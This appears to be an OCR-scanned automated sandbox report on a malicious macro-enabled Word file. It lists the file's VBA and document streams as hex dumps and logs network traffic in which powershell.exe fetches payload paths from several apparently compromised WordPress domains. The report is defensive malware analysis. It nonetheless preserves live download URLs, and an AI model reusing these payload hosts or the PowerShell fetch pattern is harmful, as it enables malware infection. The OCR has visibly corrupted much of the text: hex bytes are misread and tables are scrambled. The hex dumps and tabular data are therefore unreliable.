3531 30 45 45 31 35 37 30 33 34 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 41 35 67 64 32 31
6b 6¢ 66 71 75 39 63 36 72 73 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d
5a 64 6a 74 6b 34 36 6e 6d 31 37 76 6f 6f 0d Oa 4d 6f 64 75 6¢ 65 3d 4f 77 70 70 6e 70 38 68
61 68 34 78 6f 37 38

Macros/PROJECTwm
data

149

3.96410774314

False

A5gd21klfqu9c6rs.A.5.g.d.2.1.k.l.f.q.u.9.c.6.r.s...Zdjtk46n
ml7voo0.Z.d.j.t.k.4.6.n.m.1.7.v.0.0...O0wppnp8hah4xo0788.0.
w.p.p.n.p.8.h.a.h.4.x.0.7.8.8.....

413567 64 3231 6b 6¢ 667175396336 7273004100 350067 006400 3200 3100 6b
00 6¢ 00 66 00 71 00 75 00 39 00 63 00 36 00 72 00 73 00 00 00 5a 64 6a 74 6b 34 36 6e 6d
31 37 76 6f 6f 00 5a 00 64 00 6a 00 74 00 6b 00 34 00 36 00 6e 00 6d 00 31 00 37 00 76 00 6f
00 6f 00 00 00 4f 77 70 70 6e 70 38 68 61 68 34 78 6f 37 38 38 00 4f 00 77 00 70 00 70 00 6e
00 70 00 38 00 68

Macros/VBA/_VBA_PROJECT
data

5216

5.49741129349

True
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General
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 675

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 21038

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior

Network Port Distribution

Copyright null 2021

= P *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...1.#.9
#.C...\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S
~.1.\.V.B.A.\.V.B.A.7.\.W.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a

i.c. L F.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Macros/VBA/dir
data

675
6.39671072877

True

............ o*.....p..H.."..d.....m..2.4.@.....Z=....b.........{..a
% .J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.
L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#
OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ..... X*\C....Q
m....!10ffic

01 9f b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 6d a2 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09010212 7b 1ae4 61 06 00 Oc 25 02 4a 3c 02 Oa 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02

32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30

3032 60303433302d

WordDocument
data

21038
4.09747048154
True

..bjbj... R..

ec a5 ¢1 00 5f cO 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 19 4d 00
00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 2e 52 00 00 62 7f 00 00 62 7f 00 00 19 45 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of
00 00 00 00 00

Total Packets: 50

@ 53 (DNS)
® 443 (HTTPS)
@ 80 (HTTP)
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 7, 2021 18:44:30.154597998 CET 49165 80 192.168.2.22 172.67.141.14
Jan 7, 2021 18:44:30.200851917 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.201436043 CET 49165 80 192.168.2.22 172.67.141.14
Jan 7, 2021 18:44:30.203901052 CET 49165 80 192.168.2.22 172.67.141.14
Jan 7, 2021 18:44:30.250072002 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344028950 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344073057 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344098091 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344122887 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344146013 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344171047 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344188929 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344202042 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344206095 CET 49165 80 192.168.2.22 172.67.141.14
Jan 7, 2021 18:44:30.344218969 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.344245911 CET 49165 80 192.168.2.22 172.67.141.14
Jan 7, 2021 18:44:30.344253063 CET 49165 80 192.168.2.22 172.67.141.14
Jan 7, 2021 18:44:30.344265938 CET 49165 80 192.168.2.22 172.67.141.14
Jan 7, 2021 18:44:30.351722956 CET 49165 80 192.168.2.22 172.67.141.14
Jan 7, 2021 18:44:30.397926092 CET 80 49165 172.67.141.14 192.168.2.22
Jan 7, 2021 18:44:30.448654890 CET 49166 80 192.168.2.22 172.67.158.72
Jan 7, 2021 18:44:30.494857073 CET 80 49166 172.67.158.72 192.168.2.22
Jan 7, 2021 18:44:30.494976997 CET 49166 80 192.168.2.22 172.67.158.72
Jan 7, 2021 18:44:30.495342970 CET 49166 80 192.168.2.22 172.67.158.72
Jan 7, 2021 18:44:30.541374922 CET 80 49166 172.67.158.72 192.168.2.22
Jan 7, 2021 18:44:30.559907913 CET 80 49166 172.67.158.72 192.168.2.22
Jan 7, 2021 18:44:30.559976101 CET 80 49166 172.67.158.72 192.168.2.22
Jan 7, 2021 18:44:30.560034037 CET 80 49166 172.67.158.72 192.168.2.22
Jan 7, 2021 18:44:30.560090065 CET 80 49166 172.67.158.72 192.168.2.22
Jan 7, 2021 18:44:30.560107946 CET 49166 80 192.168.2.22 172.67.158.72
Jan 7, 2021 18:44:30.560132027 CET 80 49166 172.67.158.72 192.168.2.22
Jan 7, 2021 18:44:30.560395956 CET 49166 80 192.168.2.22 172.67.158.72
Jan 7, 2021 18:44:30.743870020 CET 49167 80 192.168.2.22 209.59.139.39
Jan 7, 2021 18:44:30.763811111 CET 49166 80 192.168.2.22 172.67.158.72
Jan 7, 2021 18:44:30.903764963 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:30.903878927 CET 49167 80 192.168.2.22 209.59.139.39
Jan 7, 2021 18:44:30.904099941 CET 49167 80 192.168.2.22 209.59.139.39
Jan 7, 2021 18:44:31.064183950 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.065102100 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.065164089 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.065221071 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.065274954 CET 49167 80 192.168.2.22 209.59.139.39
Jan 7, 2021 18:44:31.065277100 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.065336943 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.065383911 CET 49167 80 192.168.2.22 209.59.139.39
Jan 7, 2021 18:44:31.065413952 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.065474987 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.065489054 CET 49167 80 192.168.2.22 209.59.139.39
Jan 7, 2021 18:44:31.065553904 CET 49167 80 192.168.2.22 209.59.139.39
Jan 7, 2021 18:44:31.065936089 CET 49167 80 192.168.2.22 209.59.139.39
Jan 7, 2021 18:44:31.226799965 CET 80 49167 209.59.139.39 192.168.2.22
Jan 7, 2021 18:44:31.441131115 CET 49168 80 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:31.765343904 CET 80 49168 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:31.765746117 CET 49168 80 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:31.765779018 CET 49168 80 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:32.090040922 CET 80 49168 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:32.090152979 CET 80 49168 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:32.292649984 CET 49168 80 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:32.460905075 CET 49169 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:32.770035028 CET 443 49169 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:32.770140886 CET 49169 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:32.778253078 CET 49169 443 192.168.2.22 45.130.229.91
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 7, 2021 18:44:33.087449074 CET 443 49169 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:33.087608099 CET 443 49169 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:33.087630033 CET 443 49169 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:33.087855101 CET 49169 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:33.096090078 CET 49169 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:33.096921921 CET 49170 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:33.405308008 CET 443 49169 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:33.405762911 CET 443 49170 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:33.405915976 CET 49170 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:33.406655073 CET 49170 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:33.715532064 CET 443 49170 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:33.715612888 CET 443 49170 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:33.715711117 CET 443 49170 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:33.715851068 CET 49170 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:33.719151020 CET 49170 443 192.168.2.22 45.130.229.91
Jan 7, 2021 18:44:34.028208971 CET 443 49170 45.130.229.91 192.168.2.22
Jan 7, 2021 18:44:34.041439056 CET 49171 80 192.168.2.22 210.86.239.69
Jan 7, 2021 18:44:34.305519104 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.305840015 CET 49171 80 192.168.2.22 210.86.239.69
Jan 7, 2021 18:44:34.306168079 CET 49171 80 192.168.2.22 210.86.239.69
Jan 7, 2021 18:44:34.569840908 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.578701019 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.578767061 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.578810930 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.578849077 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.578888893 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.578948021 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.578979015 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.579030037 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.579071999 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.579102039 CET 49171 80 192.168.2.22 210.86.239.69
Jan 7, 2021 18:44:34.579128027 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.579128981 CET 49171 80 192.168.2.22 210.86.239.69
Jan 7, 2021 18:44:34.579134941 CET 49171 80 192.168.2.22 210.86.239.69
Jan 7, 2021 18:44:34.579139948 CET 49171 80 192.168.2.22 210.86.239.69
Jan 7, 2021 18:44:34.579806089 CET 49171 80 192.168.2.22 210.86.239.69
Jan 7, 2021 18:44:34.843252897 CET 80 49171 210.86.239.69 192.168.2.22
Jan 7, 2021 18:44:34.843312979 CET 80 49171 210.86.239.69 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 7, 2021 18:44:30.075944901 CET 52197 53 192.168.2.22 8.8.8.8

Jan 7, 2021 18:44:30.135895967 CET 53 52197 8.8.8.8 192.168.2.22

Jan 7, 2021 18:44:30.376312971 CET 53099 53 192.168.2.22 8.8.8.8

Jan 7, 2021 18:44:30.447573900 CET 53 53099 8.8.8.8 192.168.2.22

Jan 7, 2021 18:44:30.576024055 CET 52838 53 192.168.2.22 8.8.8.8

Jan 7, 2021 18:44:30.742572069 CET 53 52838 8.8.8.8 192.168.2.22

Jan 7, 2021 18:44:31.077896118 CET 61200 53 192.168.2.22 8.8.8.8

Jan 7, 2021 18:44:31.439886093 CET 53 61200 8.8.8.8 192.168.2.22

Jan 7, 2021 18:44:32.096111059 CET 49548 53 192.168.2.22 8.8.8.8

Jan 7, 2021 18:44:32.459737062 CET 53 49548 8.8.8.8 192.168.2.22

Jan 7, 2021 18:44:33.738118887 CET 55627 53 192.168.2.22 8.8.8.8

Jan 7, 2021 18:44:34.039865017 CET 53 55627 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 7, 2021 18:44:30.075944901 CET 192.168.2.22 8.8.8.8 0x315e Standard query  wpsapk.com A (IP address) IN (0x0001)
(0)

Jan 7, 2021 18:44:30.376312971 CET 192.168.2.22 8.8.8.8 0x8df5 Standard query  sofsuite.com A (IP address) IN (0x0001)
(0)

Jan 7, 2021 18:44:30.576024055 CET 192.168.2.22 8.8.8.8 0x7e45 Standard query  veterinari A (IP address) IN (0x0001)
(0) adrpopui.com
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Timestamp

Jan 7, 2021 18:44:31.077896118 CET

Jan 7, 2021 18:44:32.096111059 CET

Jan 7, 2021 18:44:33.738118887 CET

DNS Answers

Timestamp Source IP

Jan 7, 2021 8.8.8.8
18:44:30.135895967
CET

Jan 7, 2021 8.8.8.8
18:44:30.135895967
CET

Jan 7, 2021 8.8.8.8
18:44:30.135895967
CET

Jan 7, 2021 8.8.8.8
18:44:30.447573900
CET

Jan 7, 2021 8.8.8.8
18:44:30.447573900
CET

Jan 7, 2021 8.8.8.8
18:44:30.447573900
CET

Jan 7, 2021 8.8.8.8
18:44:30.742572069
CET

Jan 7, 2021 8.8.8.8
18:44:31.439886093
CET

Jan 7, 2021 8.8.8.8
18:44:32.459737062
CET

Jan 7, 2021 8.8.8.8
18:44:34.039865017
CET

Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

HTTP Request Dependency Graph

e wpsapk.com

e sofsuite.com

e veterinariadrpopui.com
e shop.elemenslide.com
e khanhhoahomnay.net
e 52.136.90

HTTP Packets

Session ID Source IP
0 192.168.2.2.

kBytes
Timestamp transferred
Jan 7, 2021 0

18:44:30.203901052 CET

Copyright null 2021

Trans |

0x315e

0x315e

0x315e

0x8df5

0x8df5

0x8df5

0x7e45

0x6029

0x1168

0x8c10

Source Port

2 49165

Direction

ouT

Source IP Dest IP
192.168.2.22 8.8.8.8

192.168.2.22 8.8.8.8

192.168.2.22 8.8.8.8

D Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID OP Code
0x6029 Standard query
(0)
0x1168 Standard query
(0)
0x8c10 Standard query
(0)
Name CName
wpsapk.com
wpsapk.com
wpsapk.com

sofsuite.com

sofsuite.com

sofsuite.com

veterinari
adrpopui.com

shop.eleme
nslide.com

shop.eleme
nslide.com

khanhhoaho
mnay.net

Destination IP Destination Port Process

172.67.141.14 80

Data

GET /wp-admin/v/ HTTP/1.1
Host: wpsapk.com
Connection: Keep-Alive

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Name

shop.eleme
nslide.com

shop.eleme
nslide.com

khanhhoaho
mnay.net

Address

172.67.141.14

104.18.61.59

104.18.60.59

172.67.158.72

104.27.144.251

104.27.145.251

209.59.139.39

45.130.229.91

45.130.229.91

210.86.239.69

Type
A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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kBytes
Timestamp transferred

Jan 7, 2021 1
18:44:30.344028950 CET

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Jan 7, 2021 10

18:44:30.495342970 CET

Jan 7, 2021 12
18:44:30.559907913 CET

Copyright null 2021

Direction

IN

Source Port

49166

Direction

ouT

Data

HTTP/1.1 503 Service Temporarily Unavailable

Date: Thu, 07 Jan 2021 17:44:30 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=d8b7506db4f74314ae3b57f6dbebaclc31610041470; expires=Sat, 06-Feb-21 17:44:30 GMT;

path=/; domain=.wpsapk.com; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Expires: Thu, 01 Jan 1970 00:00:01 GMT

cf-request-id: 077f8c452100000c01080e2000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=8IqtZejLfOVamkn%2BPI6hy5X FK4AX04i%2F
CBAfR597ZJF%2FYROmMBB8JlivN9ChBG46FvwWvrvHz2D5AW%2B35S9bfu%2FOGgNQZVyqvwo%2Bic"}],"group”:"cf-
nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 60df7cb4fe450c01-AMS

Data Raw: 32 30 31 38 0d 0Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e
0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65
6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 3c 6d 65 74
61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22
49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74
73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e 0a 20 20 3c 6d 65 74
61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2
d 77 69 64 74 68 2c 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 20 2f 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 4a 75 73 74
20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74
2f 63 73 73 22 3e 0a 20 20 20 20 68 74 6d 6¢ 2¢ 20 62 6f 64 79 20 7b 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67
68 74 3a 20 31 30 30 25 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 7d 0a 20 20 20 20 62
Data Ascii: 2018<!DOCTYPE HTML><html lang="en-US"><head> <meta charset="UTF-8" /> <meta http-equiv="Content-
Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />

<meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1"
/> <title>Just a moment...</title> <style type="text/css"> html, body {width: 100%; height: 100%; margin: 0; padding: 0;}
b

Destination IP Destination Port Process

172.67.158.72 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /wp-includes/2jm3nlk/ HTTP/1.1
Host: sofsuite.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 07 Jan 2021 17:44:30 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d01a5316175caa3b723e115a9e178dbb51610041470; expires=Sat, 06-Feb-21 17:44:30 GMT;
path=/; domain=.sofsuite.com; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 077f8c464300000c79aab30000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=MIFsTKo1m7OxHsT5HW3d0aKz%2BsoPrwOhej
7TTyXhcLuVAd9NgBemOjCMPVOmM1TGhoghnMr%2BN7N8a3U2XEII128eGe8vOrIMZcZjZWsCY%3D"}],"group”:"“cf-
nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 60df7cb6dfe70c79-AMS

Data Raw: 31 30 64 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76
69 63 65 2d

Data Ascii: 10dd<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport"
content="width=device-
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Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49167 209.59.139.39 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 7, 2021 16 ouT GET /content/5f18Q/ HTTP/1.1
18:44:30.904099941 CET Host: veterinariadrpopui.com
Connection: Keep-Alive
Jan 7, 2021 18 IN HTTP/1.1 500 Internal Server Error
18:44:31.065102100 CET Date: Thu, 07 Jan 2021 17:44:30 GMT

Server: Apache

Content-Length: 7309

Connection: close

Content-Type: text/html

Data Raw: Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42
61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3¢
42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e Oa
20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0Oa 20 20 20 20 20 20 0a 20 20 20 20
2020 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20
20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20
20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20
20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20
0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20
20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 Oa
20 20 20 20 20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20
20 20 0a 20 20 20 20 20 20 Oa 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20
20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20
